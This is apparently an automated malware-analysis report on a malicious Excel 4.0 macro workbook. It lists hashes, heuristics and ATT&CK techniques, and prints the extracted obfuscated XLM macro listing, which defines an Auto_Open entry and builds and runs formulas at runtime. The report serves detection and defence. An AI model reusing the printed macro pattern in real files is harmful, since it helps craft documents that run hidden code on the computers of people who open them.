Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ef1c87ef3198a2da…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:35 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 235e25078c71b97a952b622c12f3b5ff SHA-1: 74137ab44a6123ce994eba1a2967afc3184acf3b SHA-256: ef1c87ef3198a2da771ffa09cd2d6da31b343482a90889155798fb690f75bc78
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open function, which is a common technique for executing malicious code upon opening. The presence of dangerous formula APIs like RUN indicates the macro is designed to execute arbitrary commands. While the specific payload is not visible, the Auto_Open macro is highly indicative of a downloader or initial execution stage for further malicious activity.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6353 bytes
SHA-256: 9ad6e57e56a67b1644c5ab08b30d730589e1f6fbe0d551a4b79a0d7714ee1fb9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ckZ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B147 
' 0018     22 LABEL : Cell Value, String Constant - eRPSJcG len=0 
' 0018     25 LABEL : Cell Value, String Constant - fbyyoeKcDA len=0 
' 0018     25 LABEL : Cell Value, String Constant - FKTORolodV len=0 
' 0018     27 LABEL : Cell Value, String Constant - gFbiaATnFgVO len=0 
' 0018     26 LABEL : Cell Value, String Constant - HvPcWPHERgx len=0 
' 0018     21 LABEL : Cell Value, String Constant - IeNJQO len=0 
' 0018     21 LABEL : Cell Value, String Constant - KfiFHL len=0 
' 0018     24 LABEL : Cell Value, String Constant - kHLinFBmr len=0 
' 0018     22 LABEL : Cell Value, String Constant - LCFCDag len=0 
' 0018     24 LABEL : Cell Value, String Constant - lQuNmisDz len=0 
' 0018     22 LABEL : Cell Value, String Constant - PCoZsbk len=0 
' 0018     24 LABEL : Cell Value, String Constant - QHXscFzQU len=0 
' 0018     20 LABEL : Cell Value, String Constant - RgSqk len=0 
' 0018     22 LABEL : Cell Value, String Constant - TyAAVqS len=0 
' 0018     23 LABEL : Cell Value, String Constant - UQeKZJYv len=0 
' 0018     24 LABEL : Cell Value, String Constant - vBmIGHTQt len=0 
' 0018     20 LABEL : Cell Value, String Constant - VfXZm len=0 
' 0018     23 LABEL : Cell Value, String Constant - xQNPdNAU len=0 
' 0018     21 LABEL : Cell Value, String Constant - yBPwjv len=0 
' 0018     24 LABEL : Cell Value, String Constant - zpxWExsNK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ckZ,B51,"SET.NAME("UQeKZJYv",VALUE("0"))",""
'  ckZ,B55,"SET.NAME("HvPcWPHERgx",UQeKZJYv)",""
'  ckZ,B57,"SET.NAME("RgSqk",UQeKZJYv)",""
'  ckZ,B62,"SET.NAME("IeNJQO",COUNTA(QHXscFzQU))",""
'  ckZ,B64,"SET.NAME("FKTORolodV",COUNTA(gFbiaATnFgVO))",""
'  ckZ,B67,[],""
'  ckZ,B71,"SET.NAME("zpxWExsNK","")",""
'  ckZ,B76,"HvPcWPHERgx",""
'  ckZ,B79,"SET.NAME("yBPwjv",HLOOKUP("*",QHXscFzQU,HvPcWPHERgx,FALSE))",""
'  ckZ,B84,"PCoZsbk",""
'  ckZ,B86,"SET.NAME("eRPSJcG",UQeKZJYv)",""
'  ckZ,B89,[],""
'  ckZ,B94,"eRPSJcG",""
'  ckZ,B97,"VfXZm",""
'  ckZ,B99,"KfiFHL",""
'  ckZ,B102,"kHLinFBmr",""
'  ckZ,B107,"SET.NAME("xQNPdNAU",VALUE(HLOOKUP("*",gFbiaATnFgVO,kHLinFBmr,FALSE)))",""
'  ckZ,B110,"lQuNmisDz",""
'  ckZ,B115,"zpxWExsNK",""
'  ckZ,B120,"RgSqk",""
'  ckZ,B123,NEXT(),""
'  ckZ,B128,"fbyyoeKcDA",""
'  ckZ,B130,"SET.NAME("f",INT(T(FORMULA(T(zpxWExsNK)&"",""&T(fbyyoeKcDA)))))",""
'  ckZ,B135,"LCFCDag",""
'  ckZ,B139,NEXT(),""
'  ckZ,B144,RETURN(),""
'  ckZ,B170,"SET.NAME("TyAAVqS",B51)",""
'  ckZ,B172,"QHXscFzQU",""
'  ckZ,B174,"SET.NAME("gFbiaATnFgVO",R75C12)",""
'  ckZ,B179,"SET.NAME("LCFCDag",185)",""
'  ckZ,B182,"SET.NAME("vBmIGHTQt",2)",""
'  ckZ,B184,TyAAVqS(),""
'  ckZ,B185,HALT(),""

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